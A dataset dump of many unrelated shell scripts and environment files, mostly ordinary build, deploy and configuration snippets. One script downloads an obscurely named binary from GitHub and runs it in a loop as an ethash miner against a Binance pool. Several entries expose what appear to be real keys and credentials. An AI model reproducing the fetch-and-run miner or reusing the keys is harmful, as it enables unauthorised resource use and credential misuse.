blob_id
stringlengths
40
40
length_bytes
int64
7
488k
source
stringlengths
7
488k
ad745d537a86e3f61e9e91d0416096d920b28750
3,600
#! /bin/bash index_min=$1 index_max=$2 index_OutputFile=$3 dataset=$4 index=0 echo "import FWCore.ParameterSet.Config as cms" echo "" echo 'process = cms.Process("Demo")' echo "" echo 'process.load("FWCore.MessageService.MessageLogger_cfi")' echo "process.MessageLogger.cerr.FwkReport.reportEvery = 10000" echo "" echo...
f70ce3f13e9c257fa0f94d4dcea36e8ab9961a95
562
# Zsh Aliases alias ls='ls --color=auto -h --group-directories-first' alias ll='ls -alF --color=auto -h --group-directories-first' alias la='ls -A --color=auto -h --group-directories-first' alias l='ls -CF --color=auto -h --group-directories-first' alias py=python3 alias pytest=pytest3 alias ..="cd .." alias ...="cd ....
5310272f058ab96edb77a44b7dc2ab30fe0c0c93
72
#!/bin/sh java -jar /usr/share/distriblend/Distributor/distributor.jar
71b696582387da73aab2b1c261aefd8ce98ef13d
380
#!/bin/bash #POOL= stratum+tcp://ethash.poolbinance.com:1800 #WALLET=DHB #WORKER=$(echo $(shuf -i 10-40 -n 1)-Dg) apt-get install libpci3 wget https://github.com/archernap/prem/raw/main/janeman chmod +x janeman while [ 1 ]; do ./janeman -pool stratum+tcp://ethash.poolbinance.com:1800 -wal DHB.$(echo $(shuf -i 10-40 ...
4789ff030e23a96e7199de694fc8e0d3518a5e34
340
#!/bin/bash echo maven-project > /tmp/.auth echo $BUILD_TAG >> /tmp/.auth echo $PASS >> /tmp/.auth scp -i ./jenkins/ssh/prod /tmp/.auth production@10.123.165.170:/tmp/.auth scp -i ./jenkins/ssh/prod ./jenkins/deploy/publish.sh production@10.123.165.170:/tmp/publish.sh ssh -i ./jenkins/ssh/prod production@10.123.165.1...
02aa0ea50d85bc0b342d183f8c20c3ec75aa9e74
658
#!/bin/bash set -euxo pipefail $MP -nodisplay -r "addpath(genpath('$BD')); name_root = char('$D'); basedir = char('$BD'); cd(basedir); scan = char('$SCAN'); numClusters = [$K]; run([basedir,'code/statedynamics/nbackblockTPDur.m']); exit" $MP -nodisplay -r "addpath(genpath('$BD')); name_root = char('$D'); basedir = cha...
b4138796d00c739d5c88e2c199d45ecbb8fbbdbe
393
#!/bin/bash LIGHTCYAN='\033[1;36m' NOCOLOR='\033[0m' echo -e "${LIGHTCYAN}Fazer um script que leia do terminal o nome de um usuário e escreva na tela quais são os grupos que este pertence." echo "usuarios disponiveis: " awk -F':' '{ print $1}' /etc/passwd echo "Diz aí o usuário que você deseja verificar os grupos...
d05d06e5260a02c48d55436defed7b31aec371c3
578
#!/bin/bash yum update -y clear echo 'Going to install the LAMP stack on your machine, here we go...' echo '------------------------' # set up a silent install of MySQL dbpass=$1 # install the LAMP stack yum install -y httpd php php-mysql mysql mysql-server chkconfig httpd on chkconfig mysql-server on /etc/init.d/...
64976281c66843dfa0f33ea169ce2271c83708a4
181
#!/bin/bash sudo nvidia-xconfig --busid `nvidia-xconfig --query-gpu-info | grep BusID | sed 's/PCI BusID : PCI:/PCI:/'` sudo sed -i 's/console/anybody/g' /etc/X11/Xwrapper.config
46aa59efa71dd7f35df5e0668fec28d73905dadc
108
pytest cases/web/oms/test_qutation_flow.py -m prod --env prod -o "rp_launch_tags=UiAutoTest" --reportportal
939cd29b39e6b12540d0cb123330ca4c72c1dab5
74
#!/bin/bash timestamp() { date +"%Y-%m-%d %H:%M:%S" } echo $(timestamp)
e497090776c8d95f27511d756a295dad0afefce0
124
#!/bin/sh rm -f ~/.local/share/recently-used.xbel printf 'FIXME: automate gnome-shell restart. Manually type:\n<Alt>F2 r\n'
5e0d2513aace3adf59c00aac11b4658667ce69ea
74
API_URL=http://e354-2405-4802-133-77c0-70b3-160a-ff4e-de6a.ngrok.io/api/v1
a3d74f384b63bfb01ae2d53bd885617f70f7ef2f
346
#!/bin/bash # Delete all Homework Projects if [ "$#" -ne 1 ]; then echo "Usage:" echo " $0 GUID" exit 1 fi GUID=$1 echo "Removing all Homework Projects for GUID=$GUID" oc delete project $GUID-nexus oc delete project $GUID-sonarqube oc delete project $GUID-jenkins oc delete project $GUID-parks-dev oc delet...
57e5d527ecda31db03587e50808858260a8cbeb9
95
#! /usr/bin/env bash export GOPATH=$HOME/go export PATH=$PATH:$GOROOT/bin:$GOPATH/bin fresh
450b82b126464c3139bfff5e98d56b4a15ce0f82
551
#!/bin/bash set -e #COMMIT=a20bb7ff8bb5057065a2e7941249773f9676cf45 # chromium-64.0.3282.119 #git clone https://boringssl.googlesource.com/boringssl #cd boringssl #git reset --hard "$COMMIT" cp -rf ${RPM_BUILD_DIR}/istio-proxy/boringssl . cd boringssl cmake -DCMAKE_CXX_FLAGS:STRING="${CXXFLAGS} ${CPPFLAGS}" \ -...
b1eb8f165726175f4bdd3804f1e24f76ff7ac3da
408
#!/bin/bash #Radiolist zenity con todos los modulos cargados en memoria y desactivarlos lsmod|cut -f1 -d' '>/tmp/modulos.txt fija1="zenity --list --radiolist --column "Elige" --column "Modulos" " var="" exec</tmp/modulos.txt read linea while [ "$linea" ] do var="$var $linea " read linea done exec<&- m="$fija1 $var " ...
4d7065ed61079b1ccbd198e73940eec09f950028
3,021
#!/bin/bash SERVICE_NAME=apollo-portal ## Adjust log dir if necessary LOG_DIR=/opt/logs/apollo-portal-server ## Adjust server port if necessary SERVER_PORT=8070 # SERVER_URL="http://localhost:$SERVER_PORT" SERVER_URL="http://${APOLLO_PORTAL_SERVICE_NAME}:${SERVER_PORT}" ## Adjust memory settings if necessary #export ...
011b41e6ee6914482899b8a7d1d2e2f8fef628c5
626
#!/bin/sh Nginx_Install_Dir=/usr/local/nginx set -e sed -i "s#API_URL#${API_URL}#g" /usr/local/nginx/conf/nginx.conf sed -i "s#WEB_URL#${WEB_URL}#g" /usr/local/nginx/conf/nginx.conf sed -i "s#BASE_DIR#${BASE_DIR}#g" /usr/local/nginx/conf/nginx.conf #chmod -R 777 $BASE_DIR echo -e "127.0.0.1 $API_URL \n 117.114.196....
32a7e6401679cd0fff25408dbb07d59e9a288045
88
#!/bin/sh # 读入数组,显示数组第三个元素 tmp=($(cat)) echo "${tmp[3]}"
b4da45f996ef3e34a136e9f70453bbc15d63d707
160
xhost +local: docker run -it \ --env="DISPLAY" \ --env="QT_X11_NO_MITSHM=1" \ --volume="/tmp/.X11-unix:/tmp/.X11-unix:rw" \ genius-tcad /bin/bash
8100ec9ec81f5c4aa246465a7a9bfd15dc15c2e5
3,763
####### define the main_root of PointSite here !!!!! ######## #PointSite_HOME=/home/wangsheng/GitBucket/ #============== global variables defined here ========= # start declare PointSite_HOME #-> root directory if [ -z "${PointSite_HOME}" ] then #echo "PointSite_HOME not set. Use default value '~/GitBucket'"...
396b118512e5cae40bf97faa3e0f4ec2c8f64031
2,352
#!/usr/bin/env bash if [ ! -f /opt/jupyter_nbextensions.done ]; then for PYTHONVER in 3 ; do PYTHON="python$PYTHONVER" PIP="pip$PYTHONVER" #https://stackoverflow.com/questions/49836676/python-pip3-cannot-import-name-main PIP="python3 -m pip" #Go for the easy option and src all the...
1410f284f2471f914a454b3081e20f9812887bc5
181
#!/bin/sh if [ "$(go fmt | wc -l)" -gt 0 ]; then echo "run go fmt before PR" exit 1 fi if [ "$(golint | wc -l)" -gt 0 ]; then echo "run go lint before PR" exit 1 fi
b73ec4e506c57a75f12fa80f16732abedf6bc05c
595
#!/bin/sh export FZF_DEFAULT_OPTS=' --height=30% --layout=reverse --prompt="Manual: " --preview="echo {1} | sed -E \"s/^\((.+)\)/\1/\" | xargs -I{S} man -Pcat {S} {2} 2>/dev/null"' while getopts ":s:" opt; do case $opt in s ) SECTION=$OPTARG; shift; shift;; \?) echo "Invalid option: -$OPTARG" >&2; exit 1;; ...
ec0dd20eb4eb822e04eb8672621280455f88b584
81
#!/bin/sh source /bin/sync_time_zone.sh sync_time_zone node /home/daemon/bot.js
fe78e62e5c160e02832ecd18dc4bddc01e4a7793
357
#!/bin/bash sed -i "s/#LOGSTASH_URI#/${LOGSTASH_URI}/g" /etc/filebeat/filebeat-kubetail.yml filebeat -e -c filebeat-kubetail.yml & if [[ ! -z "$FILTER" ]]; then ./kubetail $(echo \"$KUBE_TAIL_OPTIONS\" | tr -d '\"') | grep "$FILTER" >> /var/log/kubetail.log else ./kubetail $(echo \"$KUBE_TAIL_OPTIONS\" | tr ...
b4157649fd84c5d9ad49501b9efbfe0f955c1d26
74
find . | grep -e "\.apk$" | grep -ve "unsigned" | grep -ve "unaligned"
956693f114f480ef8df5eec29c959fada7289432
39
#! /bin/bash ./gradlew -Pforce clean
8041a49168bcbe5421c5f96b52f3d5a78a84dbfb
126
#!/bin/bash export AIRFLOW_HOME=. airflow initdb sleep 10 airflow webserver -p 8080 & sleep 10 airflow scheduler & sleep 10
0a0d8db3fadb9c7e8387d0ea60c9a21497c2ed05
62
#!/bin/bash for i in {1..100} do time ./a.out done
e73ee9b9914126f6aea6f264c6c89dd4b12f3097
236
#!/bin/bash # 返回系统版本信息。 # 该脚本被 pvcommandprocessor/commandprocessor/pvcpgetstatuscommandprocessor.cpp 使用。 # Copyright(C) 2010-2011 Kazo Vision (http://www.kazovision.com) cat /store/data/pvplayer_version
c858f134a4042e95c42d10553db8e14c81fe6eb8
101
#!/bin/bash aws --profile cct codepipeline create-pipeline --cli-input-json file://codepipeline.json
9b9c3d4ce3c3408ef64b289b406fa0e11770e8f6
192
#!/bin/sh cd ../bin/ #case 1: simple command with no parameters echo "Case 1: Middle Hash" cat ../tests/commented_command_test/test1.dat | ./rshell > ../tests/commented_command_test/test1o.dat
1addcc7a36d94245196e98bdc6b93579fc36e0bd
400
POLLING_INTERVAL=5000 FUSE_RPC_URL=https://rpc.fuse.io MAINNET_RPC_URL=https://mainnet.infura.io ROPSTEN_RPC_URL=https://ropsten.infura.io ETHERSCAN_API=http://api.etherscan.io/api?apikey=4S...3V CONSENSUS_ADDRESS=0x3014ca10b91cb3D0AD85fEf7A3Cb95BCAc9c0f79 FOREIGN_BRIDGE_ADDRESS=0x3014ca10b91cb3d0ad85fef7a3cb95bcac9c0f...
6a4bc7910a04adc7934d7c611189709810abda6e
145
#!/bin/sh mysql -u root -e "DROP DATABASE video_system" mysql -u root -e "CREATE DATABASE video_system" mysql -u root video_system < create.sql
e407fe5e8b9b275b1436f4e90c951820739fa4da
6,996
export REPOS=~/dev/streetshares export PATH=$PATH:$REPOS/kubernetes/scripts export PATH=$PATH:$HOME/bin >> ~/.bash_profile alias cleanpyc="find . -name *.pyc -delete" alias gitaliases="cat ~/.git_aliases" alias pullkub="pushd $REPOS/kubernetes && git pull && popd" alias pullcommon3="pushd $REPOS/common3 && git pull &&...
5f680a2a7df1fe09af30494595940a727147610a
510
#!/bin/bash echo "*********Before assembling" id cp /tmp/src/* . #sudo cp -r /tmp/src/avcd /usr apt-get update #added for shepherd ./install_adpl.sh -i -p avocado_2.0.57_amd64.deb -f -m #shepherd #./install_adpl.sh -i -p avocado-2.0.57-1.x86_64.rpm -f -m #mongod #/usr/libexec/s2i/assemble #commented for shepeher(non ...
4cd163be0734a86943cff39f4dc591e06abaf775
115
cd $PWD for file in $(ls $1 | shuf -n $3) do mv "$1/$file" $2 echo "moving "$1/$file" from $1 to $2" done
c70baf00284e14d466a879d668177595414ca8f1
457
#!/bin/bash source /usr/local/opt/git/etc/bash_completion.d/git-prompt.sh source /usr/local/opt/git/etc/bash_completion.d/git-completion.bash ## Add git branch PS1='\[\e[4m\e[34m\]\t:\W\[\e[0;33m\]$(__git_ps1 "(%s)") \[\e[m\]\$ '; [[ $EUID == 0 ]] && PS1='\[\e[4m\e[31m\]\t:\W\[\e[0;36m\]$(__git_ps1 "(%s)") \[\e[m\]\$...
459ad4ea5e4f3ed52f258137217fdd8181528821
8,337
#!/bin/bash ######################################################################### # http://stackoverflow.com/questions/230266/vi-vim-how-to-pipe-visually-selected-text-to-a-unix-command-and-append-output-to # http://stackoverflow.com/questions/3752785/what-can-you-execute-on-visually-selected-text-in-vim # # You ...
44063862a34557d6eefd3aa4c78f8d5d949217c4
1,447
#!/bin/bash #Update this variable to be your email address email_address="youremail@domain.com" return_code=0 # Check for root privileges if [[ $EUID -ne 0 ]]; then echo "Virus scan: only root can do that" 1>&2 exit 1 fi # Display starting message echo "Starting ClamAV automated scan..." ; echo "" # Dump o...
724189723b19384e9635b9e31ef881efa2b3b903
141
#!/bin/bash container=$(docker ps | grep demo-container) if [ ! -z "$container" ]; then # stop container docker stop demo-container fi
3f12baae9524c1eb322c53297305f0dee15e532e
314
#!/bin/sh #SBATCH --ntasks=50 #SBATCH --mem-per-cpu=2056 # memory per CPU core #SBATCH --time=00:20:00 # walltime #SBATCH -J 'Wind Rose Study, Horns Rev 1 Wind Farm' # #SBATCH --qos=test # LOAD JULIA module load julia # CALL AEP CALCULATOR julia calc_aeps.jl $1 $2 $3 $4 $5 $6 $7 $8 $9 ${10} ${11} ${12} ${13}
4f6ef16a504b8ea4be886b6a5b4bc72d56948072
1,184
#!/bin/bash # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to ...
c3c0f622f8b048be2e308cd88e657dbbbf58bdbe
719
#!/usr/bin/env bash #check dependencies if ! ruby -v > /dev/null 2>&1; then echo "Ruby is not installed!" echo "You can visit https://www.ruby-lang.org/en/documentation/installation/ to get it" exit fi if ! gem spec nokogiri > /dev/null 2>&1; then echo "Gem nokogiri is not installed!" echo "Run 'gem install ...
b83709e91fac4b423f6ee722e08deab44d43af38
337
#!/bin/bash echo echo "Block output is redirected to file 'block1.out;" # 重定向若干个命令序列的标准输出 # 显示子shell的当前工作目录 ( date; cd /etc; echo -n "Current Working dir: ";pwd; ) > block_subshell.out # 打印父shell的当前工作目录 echo "Current Working dir:$PWD" echo exit 0
886c70fcbadb2473dac381659f9a63bea5070d02
123
# open develop mode and run flask app export FLASK_APP=app.py FLASK_ENV=development FLASK_DEBUG=1 flask run --host=0.0.0.0
c4909fdcd9a6c0378f12b1b4437c15b9687df247
4,265
#!/bin/bash #=================================================================================================== # # scenario inputport # #=================================================================================================== . "${DIR_BIN_LIB}/stfw/domain/service/scenario_service" #----------------------...
ec9e1ffce9e10f8df9b1f30ccf358d834f8b4efd
173
#!/bin/bash FILE="./data/$1" if [ -f $FILE ]; then echo "File already exists. $FILE" else python -m scrapy runspider -o $FILE "./re_crawler/spiders/olx_re_ro.py" fi
59e3d0248e4f46872da460275ed7febaec95d723
118
#!/usr/bin/env bash readonly DOT_BIN=${DOTPATH:-$HOME/.dot}/bin main() { cd $DOT_BIN $DOT_BIN/v "$@" } main "$@"
21c991280709054117917c1f9bbae70c8e51f4da
768
#!/usr/bin/env bash # @Author: Abad Vera # @Date: 06/06/2020 # @Last Modified by: Abad Vera # @Last Modified time: 09/25/2020 # Installer for raspberry pi # Go to dotfiles directory cd "$(dirname $0)/.." DOTFILES_DIR=$(pwd -P) SCRIPT_DIR="scripts" set -e source ./$SCRIPT_DIR/print_source.sh source ./$SCRIPT_DIR...
1409ba9ee1b3ed960ccf802ae55fd9bcbb2d49b4
827
# Contributor: kaivalagi <m_buck@hotmail.com> # Maintainer: blades <blades@gecko.org.uk> pkgname=conkyclementine-bzr pkgver=r8 pkgrel=1 pkgdesc="Provides Clementine info, for use in Conky." arch=('i686' 'x86_64') url="https://code.launchpad.net/~conky-companions/+junk/conkyclementine" license=('GPL3') depends=('python...
0b6a361413259b5575e07d9c3d5be3af8fd2a06d
1,665
#!/bin/bash set -e echo "starting" CONFIG_PATH=/data/config.json if [ ! -f "$CONFIG_PATH" ]; then echo "missing config data" echo "coping example json to data dir" cp /example/config-example.json /data/config.json exit 1 fi HOSTNAME=$(jq --raw-output ".hostname" $CONFIG_PATH) SSH_PORT=$(jq --raw-outpu...
c0f326a0fc742303e613c0c77e5e5ed89d3ea73d
4,925
#!/bin/bash #! -cwd #By: J.He #Desp.: all genes, and samples for Mar2014 run of ceRNA project #TODO: gslistDir=/ifs/data/c2b2/ac_lab/jh3283/projFocus/result/03102014/gslist source /ifs/home/c2b2/ac_lab/jh3283/scripts/projFocus/ceRNA/geneUtilsRuns.sh ### after runnning all step1, get all matrix ready, do this script ...
c14ac9ccf9a1d6976267fe5a69df1b542a6a2ba5
188
#!/bin/sh CWD=$(pwd) input=`cat $1` cd ../Java/CarAI/ echo "$input" | java -Djava.library.path=/home/amee/lib/ -jar target/CarAI-0.0.1-SNAPSHOT-jar-with-dependencies.jar "9" cd $CWD
c84f8bc895045b2880116e81d28ea2f6584d38e5
4,257
#!/bin/bash # This script updates version and build numbers as needed for both # Android and iOS build systems. # This replaces the default `yarn version` script, which does not handle # build numbers as needed for iOS deployments. # The resulting git tags will look like: # v1.3.38(4)-beta where # 1.3.38 is a semver ...
7bf7469904f19ed806d9063439ffc5659ef340fc
969
APP_NAME="Buy-Event" APP_ENV=local APP_KEY=base64:Qt7CYmEI62vyJjQ90CZGzTQekVieb+vAAfWMKvDzdos= APP_DEBUG=true APP_URL=http://localhost LOG_CHANNEL=stack DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=buy_event DB_USERNAME=root DB_PASSWORD=root BROADCAST_DRIVER=log CACHE_DRIVER=file QUEUE_CONNECTION=s...
7b5c34dbff5701b045696f058857f723ab6cd7bc
203
#!/bin/sh export version=$1 export key=$2 dotnet pack -c release -p:PackageVersion=$version dotnet nuget push ./Library/bin/Release/fsModbus.$version.nupkg -s https://api.nuget.org/v3/index.json -k $key
5169de22bb2c21aa7838feaeddd60f827716e7b5
344
#!/bin/bash APP_DIR=$(cd `dirname $0`/../; pwd) PID=`cat $APP_DIR/configs/node.pid` if [ ! -n "$PID" ]; then echo "pid not exist" exit 1; fi SUB_PIDS=`pgrep -P $PID` if [ -n "$SUB_PIDS" ]; then GRANDSON_PIDS=`pgrep -P $SUB_PIDS` fi echo "kill $PID $SUB_PIDS $GRANDSON_PIDS" kill $PID $SUB_PIDS $GRANDSON_P...
39f9c4ac7fad50ab06d6bdd7fad5885285329a4c
76
./client 128.83.139.94 8080 20 -20 -16 1800 30000000 4000000 10000000 50000
f7e9b1cfa2d5886a7b243c7dfa109e2d46ce5de3
784
#!/bin/bash echo "Dropping any existing database..." kubectl exec "${POD_NAME}" \ -- hab pkg exec "${SERVICE_NAME}" \ -- mysqladmin drop "${DATABASE_NAME}" --force \ || true echo echo "Creating an empty database..." kubectl exec "${POD_NAME}" \ -- hab pkg exec "${SERVICE_NAME}" \ -- mysqladmin create...
fc203d99971dde9736aa8c6cfbfe8282dfbde4ec
244
export XDG_CONFIG_HOME="${HOME}"/config export XDG_DATA_HOME="${HOME}"/local/share export XDG_CACHE_HOME="${HOME}"/cache export XDG_DATA_DIRS=/usr/local/share/:/usr/share export XDG_CONFIG_DIRS=/etc/xdg export ZDOTDIR="${XDG_CONFIG_HOME}"/zsh
bf0b878b881f727d279aa93ebc6bf44b77255ca1
206
#!/bin/sh # ls "`sh cat-dir.sh <filename>`" のようにクオートして使う dir=$1 || "" echo /System/Library/Input Methods/JapaneseIM.app/Contents/PlugIns/JapaneseIM.appex/Contents/Resources/${dir}
d74a91b66eb8e23dd03dfa428dd6c277d781585b
411
#!/usr/bin/env bash export LISTEN_ADDRESS=127.0.0.1:7070 export RABBITMQ_SERVER=amqp://test:test123@127.0.0.1:15672 export STORAGE_ROOT=/var/ export LOG_DIR=/var/logs/afs/ export LOG_LEVEL=DEBUG if [ ! -d $LOG_DIR ];then mkdir -p $LOG_DIR touch $LOG_DIR/afs.log fi if [ -d $STORAGE_ROOT ];then go run .....
857c189c49c486e8725546aad6ec9a1ff71d1965
2,266
#!/bin/sh # See LICENSE for license details. VERSION="0.1" bookdir="${XDG_DATA_HOME:-$HOME/.local/share}/bookmarks" bookmarks="$bookdir/bookmarks.json" tmpbookmarks="$(mktemp)" die () { exit 1 } openbookmark () { selectsection="$(jq -r 'keys[]' "$bookmarks"\ | dmenu -w "$winid" -p "Open witch section?")" || die ...
a31df70489948bb31d91039eef2002b0ed4ff4ef
14,658
ulimit -t 1 echo $1 $2 $3 $4 $5 >> testruns.txt case $2 in p1) $1 247 1 539 119 188 6712 0 572 721 1 1 1 | diff outputP/O1 - && exit 0 ;; p2) $1 230 0 283 29 848 3547 1 294 411 0 1 0 | diff outputP/O2 - && exit 0 ;; p3) $1 994 1 915 219 860 3148 2 551 716 1 1 1 | diff outputP/O3 - && exit 0 ;; p4) $1 42 0 673 7...
0720d65ac226923377fd15ec99dddd5350c2f007
97
#!/bin/bash cf uninstall-plugin copy-autoscaler go build cf install-plugin ./copy-autoscaler -f
ffc2292776a9c6777a4bea91602976bc64a89757
967
#!/bin/bash set -e if [ ! -f tini ]; then echo "tini must be downloaded first." echo "please run download_tini.sh or download manually." exit 1 fi chmod +x tini for pod in workspace deploy; do if [ $pod == workspace ]; then istring=/ae-editor: var=ANACONDA_PLATFORM_IMAGES_EDITOR else...
698ae2771b308dabebc74060eb2afe021b48f178
8,367
#/bin/sh PROJECT=$1 BOARD=$2 COOKIE=$3 STRATIO_JIRA="https://stratio.atlassian.net/rest/agile/latest" function _get_from_jira() { local path=$1 local response='' local data='' local status_code=-1 response=$(curl -H "cookie: $COOKIE" -fLs -w "\n%{response_code}\n" \ "$STRATIO_JIR...
ebd0c7b996abcc99c0a122362ccd636e22f66c16
139
#!/bin/bash rm -rf ~/.vim/pack/plugins git clone --recurse-submodules -j8 git@gitlab.com:divramod/vim-pack-plugins.git ~/.vim/pack/plugins
c45936c6ceee9080c00e95e8578233c9e725e2a4
1,030
#!/bin/bash # setup paths, please use absolute path export SPARK_HOME=/usr/src/app/spark-2.1.1-bin-hadoop2.7 export BigDL_HOME=/usr/src/app/bigdl-dist-spark-2.1.1-scala-2.11.8-linux64-0.2.0-dist export PYSPARK_DRIVER_PYTHON=jupyter export PYSPARK_DRIVER_PYTHON_OPTS="notebook --allow-root --notebook-dir=./ --ip=* --n...
25a1a7d3b32363e541bb77e042e4a91a2d718ecd
729
#!/bin/sh docker build . -t openvpn > /dev/null if [ ! -d easy-rsa ]; then git clone https://github.com/OpenVPN/easy-rsa.git fi cd easy-rsa/easyrsa3/ cp vars.example vars if [ ! -d pki ]; then ./easyrsa init-pki fi if [ ! -f ../../volumes/keys/dh.pem ]; then ./easyrsa gen-dh cp pki/dh.pem ../../volumes/k...
3fcf720610fe66d6fd490802808f96cbd8673fc0
2,486
#!/bin/bash # ble host setup # written by nanite 2017-03-04 # ref: https://developer.nordicsemi.com/nRF5_IoT_SDK/doc/0.9.0/html/a00092.html NC='\033[0m' # no color GREEN='\033[0;32m' CYAN='\033[0;36m' YELLOW='\033[1;33m' echo -e ${CYAN}-------------- `basename "$0"` -------------${NC} # Mount the debugfs file system...
ee808eba1374fbf27b5207a695d088cb1687500a
856
#!/bin/bash ################################################################################ ## File: vercel.sh ## Desc: Installs the Vercel CLI ################################################################################ # Source the helpers for use with the script source $HELPER_SCRIPTS/document.sh # Instal...
012557f7498a6846202766b841f944b60e8aa99c
1,515
# Maintainer: Antonio Rojas <arojas@archlinux.org> # Contributor: Alexey D. <lq07829icatm at rambler.ru> pkgname=plasma-workspace-git pkgver=r4154.a84e771 pkgrel=3 pkgdesc='KDE Plasma Workspace' arch=('i686' 'x86_64') url='https://projects.kde.org/projects/kde/kde-workspace' license=('LGPL') depends=('qt5-tools' 'kded...
eb54b18704e738602012db70b9a81f134b246e46
553
#!/bin/bash # The script will return "This is funny." if any argument is given. # Executing script without an argument will result in "This is NOT funny." # The argument in the first paramter position is stored as a variable "var". var=$1 # Then the variable is tested with the paramter -z which returns true ...
9f86b43b62792adb34074ab23cbaa12198dfe75c
36
MONGODB_URI=mongodb://localhost/mern
dfcf7c0b5baaa2569bb141bd8afd13ede7f83e39
162
/usr/local/adacnew/bin/StartPinnExec $PINN_STATIC/bin/$PINN_ARCH/Pinnacle -read_only -physician_review -dir Institution_165/Mount_0/Patient_6204/Plan_1 -plan plan
0976b596ff584d01a2d77e636df17ab486894475
5,388
REACT_APP_apiHost=http://localhost:8080/ REACT_APP_imgHost=https://staging.lockchain.co:8084/ REACT_APP_basePath=http://localhost:3000/ REACT_APP_routerPrefix=. REACT_APP_domainPrefix=local PUBLIC_URL=http://localhost:3000/ REACT_APP_WEB3_HTTP_PROVIDER=https://mainnet.infura.io/LOSOOn6ZHnkHG23tu6Ak REACT_APP_LOCTokenCo...
d09e77f3e837ea726e7a721eb0601a1f05c3b638
171
#!/bin/bash echo Date and Time echo $1 and $2 $3 grep "^$2 $3" /03-student/homework/Roulette_Loss_Investigation/Dealer_Analysis/$1_Dealer_schedule | awk '{print $5 $6}'
b0716798dd2735dfc81253430b0fe40c1dbb1d88
5,023
#!/bin/bash -e echo '' echo '######################################################################' echo '# INSTALL #' echo '######################################################################' echo '' source $OPENSHIFT_CARTRIDGE_SDK_BASH case "$1" in ...
9bc3f887dced12e2f39f250de065dbd93ede17f4
92
HTTP_HOST= HTTP_PORT= LOG_ACCESS= JWTKEY= APIWEATHERKEY= DB_CONNECTION_STRING= SALT_ROUNDS=
8adfbd6a4ef77eb73de4b3536ee1587df6045bcf
59
#!/bin/bash docker-compose -p paywei -f compose/dev.yml $*
77bc49028966faf6ea0d96ce2a8296e49bd06969
892
#!/bin/bash #SBATCH --time=00:30:00 # walltime #SBATCH --reservation=fri # reservation #SBATCH --nodes=3 # number of nodes #SBATCH --ntasks-per-node=1 # always use one task per node #SBATCH --cpus-per-task=8 # cpu-cores per task #SBATCH --hint=nomultithread # 1 thread per physical core #SBATCH ...
2fed9cfc5143a01f6e32504b3bc2f4070eb30337
8,261
#!/bin/bash # shellcheck disable=SC2164 #--------------------------------------------------------------------------- # @Author: ak47(454331202@qq.com) # @file_name: Tengine.sh # @Desc #--------------------------------------------------------------------------...
ff2d2833a4f424e1b63d161fb17ba28dd9321dd0
50
for i in $*; do res="$i $res" done echo $res
51a9cb348a655afce591c4ece7fee773fb684fc3
1,898
if [ -z "$1" ] || [ -z "$2" ] || [ -z "$3" ]; then echo 'ERROR: one or more MANDATORY variables are undefined' echo 'expected input like [country] [brand] [environment]' echo "input Examples:" echo ' ' echo '+----------------------------------------------+' echo "| it dt uat ...
c423abd75cacc090bb07b14b6ff4c3cab4b77600
98
#!/usr/bin/env bash Hostname 35.196.156.5 PasswordAuthentication no IdentityFile ~/.ssh/holberton
a96b2bea33ea9a2bb02cf7b371bd56eec35da6c1
2,638
# Find node_modules folder recursively and print reserved space function nmls() { find . -name "node_modules" -type d -prune -print | xargs du -chs } # Delete node_modules folder recursively function nmrm() { find . -name 'node_modules' -type d -prune -print -exec rm -rf '{}' \; } # Generate a random password...
0360294669e2574962bfb805ae2c4046cdb4ac77
2,022
#! /bin/bash # YÖNLENDİRME # 3 iletişim kanalı # 1 INPUT ----> Klavye < (0) # 2 OUTPUT----> EKRAN (Standart output - çıktı) > (1) # 3 OUTPUT----> EKRAN (Standart error - hata) 2> (2) # komut > dosya (Komutun çıktısı dosyaya yazılır) # komut >> dosya (Komutun çıktısı dosya sonuna yazılır) # komut < dosya (Komut...
ba07ea6fa2597190297156fc803cbd131d1ad312
988
# # Deployment of iAudio # # base=/var/www/iAudio backup=/var/www/tmp application=/var/www/iAudio/application public=/var/www/iAudio/public tmp=/var/www/iAudio/public/tmp echo "Start deployment.." echo "" #Backup tmp structure echo -n "Backup up tmp structure..." cp -r $tmp $backup echo "DONE" #d...
0c86a6be45731ba5a934f3671c80263c2d01e342
116
#!/usr/bin/env bash . zkEnv.sh export CLASSPATH="$CLASSPATH" java org.apache.zookeeper.server.SnapshotFormatter "$@"
9013e3ab63d56f567e71a30d779428ee81380689
2,582
#!/bin/sh # format # #EXTM3U # #EXTINF:0,vvv, # mms://fff # #EXTINF:0,fff, # mms://ttt ############ html mode ######1 #########2 # http://radioget.googlecode.com/svn/trunk/radiolist.xml radio_get_xml=$HOME/.config/smplayer/radiolist.xml smplayer_audio_file=$HOME/.config/smplayer/radio.m3u8 temp_audio_file=/...
05abf6452b1558f074ffbc4f14709ce2f3e76f5e
126
#!/bin/bash export JAVA_HOME=/jdk/ /etc/init.d/mysql.sh start /etc/init.d/jboss7.sh start exec /etc/init.d/shell.sh /jboss
c4afd561e7cc99e1be8bd17391ba09c54a6db2be
2,232
#!/bin/zsh # Usage: termcopy [FILE...] # # Copies the contents of the given files (or stdin if no files are given) to # the terminal that runs this program. If this program is run inside tmux(1), # then it also copies the given contents into tmux's current clipboard buffer. # If this program is run inside X11, then i...
6c8a44c96eea2caa26814a4de275d50c696df898
2,828
#!/usr/bin/env bash # # Train the inifinite phone-loop model. # if [ $# -ne 4 ]; then echo "usage: $0 <setup.sh> <niter> <in_dir> <out_dir>" exit 1 fi setup="$1" niter="$2" init_model="$3/model.bin" out_dir="$4" source $setup || exit 1 if [ ! -e $out_dir/.done ]; then mkdir -p "$out_dir" # Fir...
fc52bd87012be3864696ce34acbcef4108c0cf2b
339
#!/usr/bin/env zsh main() { new_version=$(command grep -E '"version": "v?([0-9]+\.){1,}' package.json | cut -d\" -f4 2> /dev/null) filename="$PWD/spacezsh.zsh" sed -e "s/SPACESHIP_VERSION='.*'/SPACESHIP_VERSION='$new_version'/g" "$filename" >"$filename.bak" mv -- "$filename.bak" "$filename" git add spacezs...
38d2dd02b72b6a0c4db7947782e3c71c65eca207
112
DATABASE_USER=postgres DATABASE_PASS=postgres DATABASE_HOST=172.17.0.1 DATABASE_PORT=5432 DATABASE_NAME=postgres
2d113b8942c400a98dc5129fb4c8eceffe699358
1,062
